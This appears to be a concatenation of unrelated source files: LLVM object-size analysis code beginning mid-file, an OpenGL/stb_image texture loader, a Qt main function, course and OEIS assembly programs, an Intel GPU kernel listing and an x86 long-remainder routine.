llvm::getObjectSize(const Value *Ptr, uint64_t &Size, const DataLayout &DL, const TargetLibraryInfo *TLI, ObjectSizeOpts Opts) { ObjectSizeOffsetVisitor Visitor(DL, TLI, Ptr->getContext(), Opts); SizeOffsetType Data = Visitor.compute(const_cast<Value*>(Ptr)); if (!Visitor.bothKnown(Data)) return false; Size = getSizeWithOverflow(Data).getZExtValue(); return true; } Value *llvm::lowerObjectSizeCall(IntrinsicInst *ObjectSize, const DataLayout &DL, const TargetLibraryInfo *TLI, bool MustSucceed) { assert(ObjectSize->getIntrinsicID() == Intrinsic::objectsize && "ObjectSize must be a call to llvm.objectsize!"); bool MaxVal = cast<ConstantInt>(ObjectSize->getArgOperand(1))->isZero(); ObjectSizeOpts EvalOptions; // Unless we have to fold this to something, try to be as accurate as // possible. if (MustSucceed) EvalOptions.EvalMode = MaxVal ? ObjectSizeOpts::Mode::Max : ObjectSizeOpts::Mode::Min; else EvalOptions.EvalMode = ObjectSizeOpts::Mode::Exact; EvalOptions.NullIsUnknownSize = cast<ConstantInt>(ObjectSize->getArgOperand(2))->isOne(); auto *ResultType = cast<IntegerType>(ObjectSize->getType()); bool StaticOnly = cast<ConstantInt>(ObjectSize->getArgOperand(3))->isZero(); if (StaticOnly) { // FIXME: Does it make sense to just return a failure value if the size won't // fit in the output and `!MustSucceed`? uint64_t Size; if (getObjectSize(ObjectSize->getArgOperand(0), Size, DL, TLI, EvalOptions) && isUIntN(ResultType->getBitWidth(), Size)) return ConstantInt::get(ResultType, Size); } else { LLVMContext &Ctx = ObjectSize->getFunction()->getContext(); ObjectSizeOffsetEvaluator Eval(DL, TLI, Ctx, EvalOptions); SizeOffsetEvalType SizeOffsetPair = Eval.compute(ObjectSize->getArgOperand(0)); if (SizeOffsetPair != ObjectSizeOffsetEvaluator::unknown()) { IRBuilder<TargetFolder> Builder(Ctx, TargetFolder(DL)); Builder.SetInsertPoint(ObjectSize); // If we've outside the end of the object, then we can always access // exactly 0 bytes. Value *ResultSize = Builder.CreateSub(SizeOffsetPair.first, SizeOffsetPair.second); Value *UseZero = Builder.CreateICmpULT(SizeOffsetPair.first, SizeOffsetPair.second); return Builder.CreateSelect(UseZero, ConstantInt::get(ResultType, 0), ResultSize); } } if (!MustSucceed) return nullptr; return ConstantInt::get(ResultType, MaxVal ? -1ULL : 0); } STATISTIC(ObjectVisitorArgument, "Number of arguments with unsolved size and offset"); STATISTIC(ObjectVisitorLoad, "Number of load instructions with unsolved size and offset"); APInt ObjectSizeOffsetVisitor::align(APInt Size, uint64_t Align) { if (Options.RoundToAlign && Align) return APInt(IntTyBits, alignTo(Size.getZExtValue(), Align)); return Size; } ObjectSizeOffsetVisitor::ObjectSizeOffsetVisitor(const DataLayout &DL, const TargetLibraryInfo *TLI, LLVMContext &Context, ObjectSizeOpts Options) : DL(DL), TLI(TLI), Options(Options) { // Pointer size must be rechecked for each object visited since it could have // a different address space. } SizeOffsetType ObjectSizeOffsetVisitor::compute(Value *V) { IntTyBits = DL.getPointerTypeSizeInBits(V->getType()); Zero = APInt::getNullValue(IntTyBits); V = V->stripPointerCasts(); if (Instruction *I = dyn_cast<Instruction>(V)) { // If we have already seen this instruction, bail out. Cycles can happen in // unreachable code after constant propagation. if (!SeenInsts.insert(I).second) return unknown(); if (GEPOperator *GEP = dyn_cast<GEPOperator>(V)) return visitGEPOperator(*GEP); return visit(*I); } if (Argument *A = dyn_cast<Argument>(V)) return visitArgument(*A); if (ConstantPointerNull *P = dyn_cast<ConstantPointerNull>(V)) return visitConstantPointerNull(*P); if (GlobalAlias *GA = dyn_cast<GlobalAlias>(V)) return visitGlobalAlias(*GA); if (GlobalVariable *GV = dyn_cast<GlobalVariable>(V)) return visitGlobalVariable(*GV); if (UndefValue *UV = dyn_cast<UndefValue>(V)) return visitUndefValue(*UV); if (ConstantExpr *CE = dyn_cast<ConstantExpr>(V)) { if (CE->getOpcode() == Instruction::IntToPtr) return unknown(); // clueless if (CE->getOpcode() == Instruction::GetElementPtr) return visitGEPOperator(cast<GEPOperator>(*CE)); } LLVM_DEBUG(dbgs() << "ObjectSizeOffsetVisitor::compute() unhandled value: " << *V << '\n'); return unknown(); } /// When we're compiling N-bit code, and the user uses parameters that are /// greater than N bits (e.g. uint64_t on a 32-bit build), we can run into /// trouble with APInt size issues. This function handles resizing + overflow /// checks for us. Check and zext or trunc \p I depending on IntTyBits and /// I's value. bool ObjectSizeOffsetVisitor::CheckedZextOrTrunc(APInt &I) { // More bits than we can handle. Checking the bit width isn't necessary, but // it's faster than checking active bits, and should give `false` in the // vast majority of cases. if (I.getBitWidth() > IntTyBits && I.getActiveBits() > IntTyBits) return false; if (I.getBitWidth() != IntTyBits) I = I.zextOrTrunc(IntTyBits); return true; } SizeOffsetType ObjectSizeOffsetVisitor::visitAllocaInst(AllocaInst &I) { if (!I.getAllocatedType()->isSized()) return unknown(); APInt Size(IntTyBits, DL.getTypeAllocSize(I.getAllocatedType())); if (!I.isArrayAllocation()) return std::make_pair(align(Size, I.getAlignment()), Zero); Value *ArraySize = I.getArraySize(); if (const ConstantInt *C = dyn_cast<ConstantInt>(ArraySize)) { APInt NumElems = C->getValue(); if (!CheckedZextOrTrunc(NumElems)) return unknown(); bool Overflow; Size = Size.umul_ov(NumElems, Overflow); return Overflow ? unknown() : std::make_pair(align(Size, I.getAlignment()), Zero); } return unknown(); } SizeOffsetType ObjectSizeOffsetVisitor::visitArgument(Argument &A) { // No interprocedural analysis is done at the moment. if (!A.hasByValOrInAllocaAttr()) { ++ObjectVisitorArgument; return unknown(); } PointerType *PT = cast<PointerType>(A.getType()); APInt Size(IntTyBits, DL.getTypeAllocSize(PT->getElementType())); return std::make_pair(align(Size, A.getParamAlignment()), Zero); } SizeOffsetType ObjectSizeOffsetVisitor::visitCallSite(CallSite CS) { Optional<AllocFnsTy> FnData = getAllocationSize(CS.getInstruction(), TLI); if (!FnData) return unknown(); // Handle strdup-like functions separately. if (FnData->AllocTy == StrDupLike) { APInt Size(IntTyBits, GetStringLength(CS.getArgument(0))); if (!Size) return unknown(); // Strndup limits strlen. if (FnData->FstParam > 0) { ConstantInt *Arg = dyn_cast<ConstantInt>(CS.getArgument(FnData->FstParam)); if (!Arg) return unknown(); APInt MaxSize = Arg->getValue().zextOrSelf(IntTyBits); if (Size.ugt(MaxSize)) Size = MaxSize + 1; } return std::make_pair(Size, Zero); } ConstantInt *Arg = dyn_cast<ConstantInt>(CS.getArgument(FnData->FstParam)); if (!Arg) return unknown(); APInt Size = Arg->getValue(); if (!CheckedZextOrTrunc(Size)) return unknown(); // Size is determined by just 1 parameter. if (FnData->SndParam < 0) return std::make_pair(Size, Zero); Arg = dyn_cast<ConstantInt>(CS.getArgument(FnData->SndParam)); if (!Arg) return unknown(); APInt NumElems = Arg->getValue(); if (!CheckedZextOrTrunc(NumElems)) return unknown(); bool Overflow; Size = Size.umul_ov(NumElems, Overflow); return Overflow ? unknown() : std::make_pair(Size, Zero); // TODO: handle more standard functions (+ wchar cousins): // - strdup / strndup // - strcpy / strncpy // - strcat / strncat // - memcpy / memmove // - strcat / strncat // - memset } SizeOffsetType ObjectSizeOffsetVisitor::visitConstantPointerNull(ConstantPointerNull& CPN) { // If null is unknown, there's nothing we can do. Additionally, non-zero // address spaces can make use of null, so we don't presume to know anything // about that. // // TODO: How should this work with address space casts? We currently just drop // them on the floor, but it's unclear what we should do when a NULL from // addrspace(1) gets casted to addrspace(0) (or vice-versa). if (Options.NullIsUnknownSize || CPN.getType()->getAddressSpace()) return unknown(); return std::make_pair(Zero, Zero); } SizeOffsetType ObjectSizeOffsetVisitor::visitExtractElementInst(ExtractElementInst&) { return unknown(); } SizeOffsetType ObjectSizeOffsetVisitor::visitExtractValueInst(ExtractValueInst&) { // Easy cases were already folded by previous passes. return unknown(); } SizeOffsetType ObjectSizeOffsetVisitor::visitGEPOperator(GEPOperator &GEP) { SizeOffsetType PtrData = compute(GEP.getPointerOperand()); APInt Offset(IntTyBits, 0); if (!bothKnown(PtrData) || !GEP.accumulateConstantOffset(DL, Offset)) return unknown(); return std::make_pair(PtrData.first, PtrData.second + Offset); } SizeOffsetType ObjectSizeOffsetVisitor::visitGlobalAlias(GlobalAlias &GA) { if (GA.isInterposable()) return unknown(); return compute(GA.getAliasee()); } SizeOffsetType ObjectSizeOffsetVisitor::visitGlobalVariable(GlobalVariable &GV){ if (!GV.hasDefinitiveInitializer()) return unknown(); APInt Size(IntTyBits, DL.getTypeAllocSize(GV.getType()->getElementType())); return std::make_pair(align(Size, GV.getAlignment()), Zero); } SizeOffsetType ObjectSizeOffsetVisitor::visitIntToPtrInst(IntToPtrInst&) { // clueless return unknown(); } SizeOffsetType ObjectSizeOffsetVisitor::visitLoadInst(LoadInst&) { ++ObjectVisitorLoad; return unknown(); } SizeOffsetType ObjectSizeOffsetVisitor::visitPHINode(PHINode&) { // too complex to analyze statically. return unknown(); } SizeOffsetType ObjectSizeOffsetVisitor::visitSelectInst(SelectInst &I) { SizeOffsetType TrueSide = compute(I.getTrueValue()); SizeOffsetType FalseSide = compute(I.getFalseValue()); if (bothKnown(TrueSide) && bothKnown(FalseSide)) { if (TrueSide == FalseSide) { return TrueSide; } APInt TrueResult = getSizeWithOverflow(TrueSide); APInt FalseResult = getSizeWithOverflow(FalseSide); if (TrueResult == FalseResult) { return TrueSide; } if (Options.EvalMode == ObjectSizeOpts::Mode::Min) { if (TrueResult.slt(FalseResult)) return TrueSide; return FalseSide; } if (Options.EvalMode == ObjectSizeOpts::Mode::Max) { if (TrueResult.sgt(FalseResult)) return TrueSide; return FalseSide; } } return unknown(); } SizeOffsetType ObjectSizeOffsetVisitor::visitUndefValue(UndefValue&) { return std::make_pair(Zero, Zero); } SizeOffsetType ObjectSizeOffsetVisitor::visitInstruction(Instruction &I) { LLVM_DEBUG(dbgs() << "ObjectSizeOffsetVisitor unknown instruction:" << I << '\n'); return unknown(); } ObjectSizeOffsetEvaluator::ObjectSizeOffsetEvaluator( const DataLayout &DL, const TargetLibraryInfo *TLI, LLVMContext &Context, ObjectSizeOpts EvalOpts) : DL(DL), TLI(TLI), Context(Context), Builder(Context, TargetFolder(DL), IRBuilderCallbackInserter( [&](Instruction *I) { InsertedInstructions.insert(I); })), EvalOpts(EvalOpts) { // IntTy and Zero must be set for each compute() since the address space may // be different for later objects. } SizeOffsetEvalType ObjectSizeOffsetEvaluator::compute(Value *V) { // XXX - Are vectors of pointers possible here? IntTy = cast<IntegerType>(DL.getIntPtrType(V->getType())); Zero = ConstantInt::get(IntTy, 0); SizeOffsetEvalType Result = compute_(V); if (!bothKnown(Result)) { // Erase everything that was computed in this iteration from the cache, so // that no dangling references are left behind. We could be a bit smarter if // we kept a dependency graph. It's probably not worth the complexity. for (const Value *SeenVal : SeenVals) { CacheMapTy::iterator CacheIt = CacheMap.find(SeenVal); // non-computable results can be safely cached if (CacheIt != CacheMap.end() && anyKnown(CacheIt->second)) CacheMap.erase(CacheIt); } // Erase any instructions we inserted as part of the traversal. for (Instruction *I : InsertedInstructions) { I->replaceAllUsesWith(UndefValue::get(I->getType())); I->eraseFromParent(); } } SeenVals.clear(); InsertedInstructions.clear(); return Result; } SizeOffsetEvalType ObjectSizeOffsetEvaluator::compute_(Value *V) { ObjectSizeOffsetVisitor Visitor(DL, TLI, Context, EvalOpts); SizeOffsetType Const = Visitor.compute(V); if (Visitor.bothKnown(Const)) return std::make_pair(ConstantInt::get(Context, Const.first), ConstantInt::get(Context, Const.second)); V = V->stripPointerCasts(); // Check cache. CacheMapTy::iterator CacheIt = CacheMap.find(V); if (CacheIt != CacheMap.end()) return CacheIt->second; // Always generate code immediately before the instruction being // processed, so that the generated code dominates the same BBs. BuilderTy::InsertPointGuard Guard(Builder); if (Instruction *I = dyn_cast<Instruction>(V)) Builder.SetInsertPoint(I); // Now compute the size and offset. SizeOffsetEvalType Result; // Record the pointers that were handled in this run, so that they can be // cleaned later if something fails. We also use this set to break cycles that // can occur in dead code. if (!SeenVals.insert(V).second) { Result = unknown(); } else if (GEPOperator *GEP = dyn_cast<GEPOperator>(V)) { Result = visitGEPOperator(*GEP); } else if (Instruction *I = dyn_cast<Instruction>(V)) { Result = visit(*I); } else if (isa<Argument>(V) || (isa<ConstantExpr>(V) && cast<ConstantExpr>(V)->getOpcode() == Instruction::IntToPtr) || isa<GlobalAlias>(V) || isa<GlobalVariable>(V)) { // Ignore values where we cannot do more than ObjectSizeVisitor. Result = unknown(); } else { LLVM_DEBUG( dbgs() << "ObjectSizeOffsetEvaluator::compute() unhandled value: " << *V << '\n'); Result = unknown(); } // Don't reuse CacheIt since it may be invalid at this point. CacheMap[V] = Result; return Result; } SizeOffsetEvalType ObjectSizeOffsetEvaluator::visitAllocaInst(AllocaInst &I) { if (!I.getAllocatedType()->isSized()) return unknown(); // must be a VLA assert(I.isArrayAllocation()); Value *ArraySize = I.getArraySize(); Value *Size = ConstantInt::get(ArraySize->getType(), DL.getTypeAllocSize(I.getAllocatedType())); Size = Builder.CreateMul(Size, ArraySize); return std::make_pair(Size, Zero); } SizeOffsetEvalType ObjectSizeOffsetEvaluator::visitCallSite(CallSite CS) { Optional<AllocFnsTy> FnData = getAllocationSize(CS.getInstruction(), TLI); if (!FnData) return unknown(); // Handle strdup-like functions separately. if (FnData->AllocTy == StrDupLike) { // TODO return unknown(); } Value *FirstArg = CS.getArgument(FnData->FstParam); FirstArg = Builder.CreateZExt(FirstArg, IntTy); if (FnData->SndParam < 0) return std::make_pair(FirstArg, Zero); Value *SecondArg = CS.getArgument(FnData->SndParam); SecondArg = Builder.CreateZExt(SecondArg, IntTy); Value *Size = Builder.CreateMul(FirstArg, SecondArg); return std::make_pair(Size, Zero); // TODO: handle more standard functions (+ wchar cousins): // - strdup / strndup // - strcpy / strncpy // - strcat / strncat // - memcpy / memmove // - strcat / strncat // - memset } SizeOffsetEvalType ObjectSizeOffsetEvaluator::visitExtractElementInst(ExtractElementInst&) { return unknown(); } SizeOffsetEvalType ObjectSizeOffsetEvaluator::visitExtractValueInst(ExtractValueInst&) { return unknown(); } SizeOffsetEvalType ObjectSizeOffsetEvaluator::visitGEPOperator(GEPOperator &GEP) { SizeOffsetEvalType PtrData = compute_(GEP.getPointerOperand()); if (!bothKnown(PtrData)) return unknown(); Value *Offset = EmitGEPOffset(&Builder, DL, &GEP, /*NoAssumptions=*/true); Offset = Builder.CreateAdd(PtrData.second, Offset); return std::make_pair(PtrData.first, Offset); } SizeOffsetEvalType ObjectSizeOffsetEvaluator::visitIntToPtrInst(IntToPtrInst&) { // clueless return unknown(); } SizeOffsetEvalType ObjectSizeOffsetEvaluator::visitLoadInst(LoadInst&) { return unknown(); } SizeOffsetEvalType ObjectSizeOffsetEvaluator::visitPHINode(PHINode &PHI) { // Create 2 PHIs: one for size and another for offset. PHINode *SizePHI = Builder.CreatePHI(IntTy, PHI.getNumIncomingValues()); PHINode *OffsetPHI = Builder.CreatePHI(IntTy, PHI.getNumIncomingValues()); // Insert right away in the cache to handle recursive PHIs. CacheMap[&PHI] = std::make_pair(SizePHI, OffsetPHI); // Compute offset/size for each PHI incoming pointer. for (unsigned i = 0, e = PHI.getNumIncomingValues(); i != e; ++i) { Builder.SetInsertPoint(&*PHI.getIncomingBlock(i)->getFirstInsertionPt()); SizeOffsetEvalType EdgeData = compute_(PHI.getIncomingValue(i)); if (!bothKnown(EdgeData)) { OffsetPHI->replaceAllUsesWith(UndefValue::get(IntTy)); OffsetPHI->eraseFromParent(); InsertedInstructions.erase(OffsetPHI); SizePHI->replaceAllUsesWith(UndefValue::get(IntTy)); SizePHI->eraseFromParent(); InsertedInstructions.erase(SizePHI); return unknown(); } SizePHI->addIncoming(EdgeData.first, PHI.getIncomingBlock(i)); OffsetPHI->addIncoming(EdgeData.second, PHI.getIncomingBlock(i)); } Value *Size = SizePHI, *Offset = OffsetPHI; if (Value *Tmp = SizePHI->hasConstantValue()) { Size = Tmp; SizePHI->replaceAllUsesWith(Size); SizePHI->eraseFromParent(); InsertedInstructions.erase(SizePHI); } if (Value *Tmp = OffsetPHI->hasConstantValue()) { Offset = Tmp; OffsetPHI->replaceAllUsesWith(Offset); OffsetPHI->eraseFromParent(); InsertedInstructions.erase(OffsetPHI); } return std::make_pair(Size, Offset); } SizeOffsetEvalType ObjectSizeOffsetEvaluator::visitSelectInst(SelectInst &I) { SizeOffsetEvalType TrueSide = compute_(I.getTrueValue()); SizeOffsetEvalType FalseSide = compute_(I.getFalseValue()); if (!bothKnown(TrueSide) || !bothKnown(FalseSide)) return unknown(); if (TrueSide == FalseSide) return TrueSide; Value *Size = Builder.CreateSelect(I.getCondition(), TrueSide.first, FalseSide.first); Value *Offset = Builder.CreateSelect(I.getCondition(), TrueSide.second, FalseSide.second); return std::make_pair(Size, Offset); } SizeOffsetEvalType ObjectSizeOffsetEvaluator::visitInstruction(Instruction &I) { LLVM_DEBUG(dbgs() << "ObjectSizeOffsetEvaluator unknown instruction:" << I << '\n'); return unknown(); }
/* MIT License Copyright (c) 2020 Jonathan Mendez Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #include <iostream> #include <string> #include <queue> #include <thread> #include <mutex> #include <condition_variable> #include "ImageLoad.hpp" #define STB_IMAGE_IMPLEMENTATION #define STB_IMAGE_WRITE_IMPLEMENTATION #include "stb/stb_image.h" #include "stb/stb_image_write.h" #include "GL/gl3w.h" #include "GLFW/glfw3.h" #include "../TP/TP.hpp" namespace GPUTexture { void openGLUpload(ImageRID& rid, int width, int height, int num_channels, const uint8_t* bytes){ unsigned int pixel_fmt_src; switch(num_channels){ case 1: pixel_fmt_src = GL_R8; break; case 2: pixel_fmt_src = GL_RG8; break; case 3: // RGB pixel_fmt_src = GL_RGB; break; case 4: // RGBA pixel_fmt_src = GL_RGBA; break; default: return; } GLuint tex_id = 0; glGenTextures(1, &tex_id); glBindTexture(GL_TEXTURE_2D, tex_id); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT); /* // Texture filtering. */ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR); glPixelStorei(GL_UNPACK_ALIGNMENT, 1); // Without this there are crashes when deleting and assigning a new texture. glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, width, height, 0, pixel_fmt_src, GL_UNSIGNED_BYTE, bytes); glGenerateMipmap(GL_TEXTURE_2D); glBindTexture(GL_TEXTURE_2D, 0); rid = tex_id; } void openGLCopy(ImageRID& dest, const ImageRID& src, int width, int height, int num_channels){ ImageRID rid = 0; // Prepare the destination texture. openGLUpload(rid, width, height, num_channels, nullptr); glCopyImageSubData( src, GL_TEXTURE_2D, 0, 0, 0, 0, rid,GL_TEXTURE_2D, 0, 0, 0, 0, width, height, 1 ); dest = rid; } /** * Does not modify the value of rid. * "glDeleteTextures silently ignores 0's and names that do not correspond to existing textures." - khronos.org */ void openGLFree(const ImageRID& rid){ glDeleteTextures(1, (GLuint*)&rid); } namespace SideLoader { static std::mutex gl_ctx_mutex; static GLFWwindow* texture_sideload_ctx = nullptr; void create_context() { if(texture_sideload_ctx) return; // Has already been successfully created. // Create a seperate glfw context and share texture resources with the current context. glfwWindowHint(GLFW_VISIBLE, GLFW_FALSE); texture_sideload_ctx = glfwCreateWindow(640, 480, "Texture sideloader.", NULL, glfwGetCurrentContext()); } void add_job(GPUTextureJob job){ TP::add_job( [job = std::move(job)](){ std::lock_guard<std::mutex> lock{gl_ctx_mutex}; glfwMakeContextCurrent(texture_sideload_ctx); job(); glfwMakeContextCurrent(NULL); } ); } } } ImagePixelData::ImagePixelData(ImagePixelData&& move_data) : ImagePixelData() { std::swap(*this, move_data); //move_data.bytes = nullptr; } void Texture::free() { GPUTexture::SideLoader::add_job([handle = handle](){ GPUTexture::openGLFree(handle); }); handle = 0; } ImagePixelData::ImagePixelData() : width{} , height{} , num_channels{} , pixel_bytes{} {} ImagePixelData::ImagePixelData(const ImagePixelData& copy) : width{ copy.width } , height{ copy.height } , num_channels{ copy.num_channels } , pixel_bytes{ copy.clonePixelBytes() } {} ImagePixelData& ImagePixelData::operator=(ImagePixelData assign) { std::swap(*this, assign); return *this; } std::unique_ptr<uint8_t, ImagePixelData::D> ImagePixelData::clonePixelBytes() const { decltype(pixel_bytes) bd_clone; if(pixel_bytes) memcpy(bd_clone.get(), pixel_bytes.get(), width*height*num_channels); return bd_clone; } std::unique_ptr<uint8_t, ImagePixelData::D> ImagePixelData::movePixelBytes() { return std::move(pixel_bytes); } ImagePixelData::ImagePixelData(const std::string& image_location, bool flip) { this->load(*this, image_location, flip); } void ImagePixelData::load(ImagePixelData& image, const std::string& image_location, bool flip) { FILE* image_file = fopen(image_location.c_str(), "rb"); if(image_file == nullptr) return; // Load the image file location. stbi_set_flip_vertically_on_load(flip); uint8_t* bytes{ stbi_load_from_file(image_file, &image.width, &image.height, &image.num_channels, 0) }; image.pixel_bytes = decltype(image.pixel_bytes)( bytes, D() // The function object will be called to free the bytes read from the file. ); fclose(image_file); } void Texture::upload(Texture& texture) { if(!texture.image_data->pixel_bytes) return; // There is no image data to upload to the gpu. if(!glfwGetCurrentContext()) return; // There is no open gl context, therefore we cannot upload the texture data. GPUTexture::openGLFree(texture.handle); GPUTexture::openGLUpload( texture.handle, texture.image_data->width, texture.image_data->height, texture.image_data->num_channels, texture.image_data->pixel_bytes.get() ); texture.image_data->pixel_bytes.reset(); } void Texture::uploadAsync(std::shared_ptr<Texture> texture) { GPUTexture::SideLoader::add_job([texture = std::move(texture)](){ Texture::upload(*texture); }); } void ImagePixelData::D::operator()(uint8_t* d) const { stbi_image_free(d); } namespace std { void swap(ImagePixelData& a, ImagePixelData& b){ swap(a.width, b.width); swap(a.height, b.height); swap(a.num_channels, b.num_channels); swap(a.pixel_bytes, b.pixel_bytes); } void swap(Texture& a, Texture& b){ swap(a.handle, b.handle); swap(a.image_data, b.image_data); } } Texture::Texture() : image_data{std::make_unique<ImagePixelData>()} , handle{ } {} Texture::Texture(ImagePixelData&& image) : image_data{std::make_unique<ImagePixelData>(std::move(image))} {} Texture::~Texture() { free(); } Texture& Texture::operator=(Texture assign){ std::swap(*this, assign); return *this; }
#include "widget.h" #include <QApplication> int main(int argc, char* argv[]) { QApplication a(argc, argv); Widget w; w.show(); return a.exec(); }
; Arquivo: Factorial.nasm ; Curso: Elementos de Sistemas ; Criado por: Luciano Soares ; Data: 27/03/2017 ; Calcula o fatorial do número em R0 e armazena o valor em R1. leaw $R0, %A movw (%A), %D movw (%A), %S decw %D decw %D leaw $R1, %A movw %D, (%A) leaw $R0, %A addw (%A), %S, %S leaw $R2, %A movw %S, (%A) decw %D leaw $7,%A jg nop leaw $R1, %A movw (%A), %D leaw $R0, %A movw %S, (%A) decw %D leaw $R1, %A movw %D, (%A) leaw $7, %A jg nop leaw $2, %A movw (%A), %D leaw $31, %A jg nop incw %D leaw $1, %A movw %D, (%A)
; A115504: Number of monic irreducible polynomials of degree 1 in GF(2^n)[x1,x2,x3,x4,x5]. ; Submitted by Jon Maiga ; 62,1364,37448,1118480,34636832,1090785344,34630287488,1103823438080,35253226045952,1127000493261824,36046397799139328,1153203048319815680,36897992296869404672,1180663682709764194304,37780084819647214419968,1208944266640182156001280,38685921377825129937108992,1237944761669877611773558784,39614156815140010174049681408,1267651809155201938729997434880,40564838550125678058396201254912,1298074524118790515471579835531264,41538379820039368465645797688475648,1329228075013083109534908998462996480 add $0,1 seq $0,34665 ; Sum of n-th powers of divisors of 32. sub $0,1
/* * Copyright (c) 2017, Intel Corporation * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. */ L0: (W&~f0.1)jmpi L416 L16: mov (8|M0) r17.0<1>:ud r25.0<8;8,1>:ud add (1|M0) a0.0<1>:ud r23.5<0;1,0>:ud 0x42EC100:ud mov (1|M0) r16.2<1>:ud 0xE000:ud mov (1|M0) r17.2<1>:f r10.2<0;1,0>:f mov (1|M0) r17.3<1>:f r10.4<0;1,0>:f send (1|M0) r112:uw r16:ub 0x2 a0.0 mov (1|M0) r17.2<1>:f r10.2<0;1,0>:f mov (1|M0) r17.3<1>:f r10.7<0;1,0>:f send (1|M0) r120:uw r16:ub 0x2 a0.0 add (1|M0) a0.0<1>:ud r23.5<0;1,0>:ud 0x44EC201:ud mov (1|M0) r16.2<1>:ud 0x5000:ud mov (1|M0) r17.2<1>:f r10.2<0;1,0>:f mov (1|M0) r17.3<1>:f r10.4<0;1,0>:f send (1|M0) r116:uw r16:ub 0x2 a0.0 mov (1|M0) r17.2<1>:f r10.2<0;1,0>:f mov (1|M0) r17.3<1>:f r10.7<0;1,0>:f send (1|M0) r124:uw r16:ub 0x2 a0.0 mov (16|M0) r114.0<1>:uw 0xFFFF:uw mov (16|M0) r115.0<1>:uw 0xFFFF:uw mov (16|M0) r122.0<1>:uw 0xFFFF:uw mov (16|M0) r123.0<1>:uw 0xFFFF:uw mov (1|M0) a0.8<1>:uw 0xE00:uw mov (1|M0) a0.9<1>:uw 0xE80:uw mov (1|M0) a0.10<1>:uw 0xEC0:uw add (4|M0) a0.12<1>:uw a0.8<4;4,1>:uw 0x100:uw L416: nop
page ,132 TITLE C library emulation, not relying on MS-DOS. ;*****************************************************************************; ; ; ; FILE NAME: anlrem.asm ; ; ; ; DESCRIPTION: C compiler long math library ; ; ; ; NOTES: ; ; ; ; HISTORY: ; ; 1995/08/30 JFL Created this file. ; ; ; ; (c) Copyright 1995-2017 Hewlett Packard Enterprise Development LP ; ; Licensed under the Apache 2.0 license - www.apache.org/licenses/LICENSE-2.0 ; ;*****************************************************************************; .model small, C .code .386 ;-----------------------------------------------------------------------------; ; ; ; Function: _aNlrem ; ; ; ; Description: Signed long remainder ; ; ; ; Parameters: On stack: ; ; DWORD 1 Dividand ; ; DWORD 2 Divisor ; ; ; ; Returns: DX:AX The result ; ; ; ; Notes: Uses 386 instructions. May not be used on old machines. ; ; ; ; Regs altered: EAX, EDX ; ; ; ; History: ; ; ; ; 1995/08/30 JFL Created this routine. ; ; ; ;-----------------------------------------------------------------------------; _aNlrem proc public push bp mov bp, sp mov eax, dword ptr [bp+4] cdq idiv dword ptr [bp+8] imul dword ptr [bp+8] neg eax add eax, dword ptr [bp]+4 ; Don't compute edx since we know it would be 0 shld edx, eax, 16 ; mov dx:ax, eax pop bp ret 8 _aNlrem endp END
; A301809: Group the natural numbers such that the first group is (1) then (2),(3),(4,5),(6,7,8),... with the n-th group containing F(n) sequential terms where F(n) is the n-th Fibonacci number (A000045(n)). Sequence gives the sum of terms in the n-th group. ; 1,2,3,9,21,55,140,364,945,2465,6435,16821,43992,115102,301223,788425,2063817,5402651,14143524,37026936,96935685,253777537,664392743,1739393929,4553778096,11921922650,31211961195,81713914569,213929707485,560075086495,1466295355580,3838810662436,10050136117497,26311596858017,68884653110283,180342360294525,472142424248712,1236084906748726,3236112286769999,8472251938630921,22180643504964945,58069678537175747,152028392043316308,398015497490439024,1042018100262420621,2728038803028908545 mov $3,2 mov $5,$0 lpb $3 mov $0,$5 sub $3,1 add $0,$3 add $0,1 seq $0,33192 ; a(n) = binomial(Fibonacci(n) + 1, 2). mov $2,$3 mul $2,$0 add $1,$2 mov $4,$0 lpe min $5,1 mul $5,$4 sub $1,$5 mov $0,$1
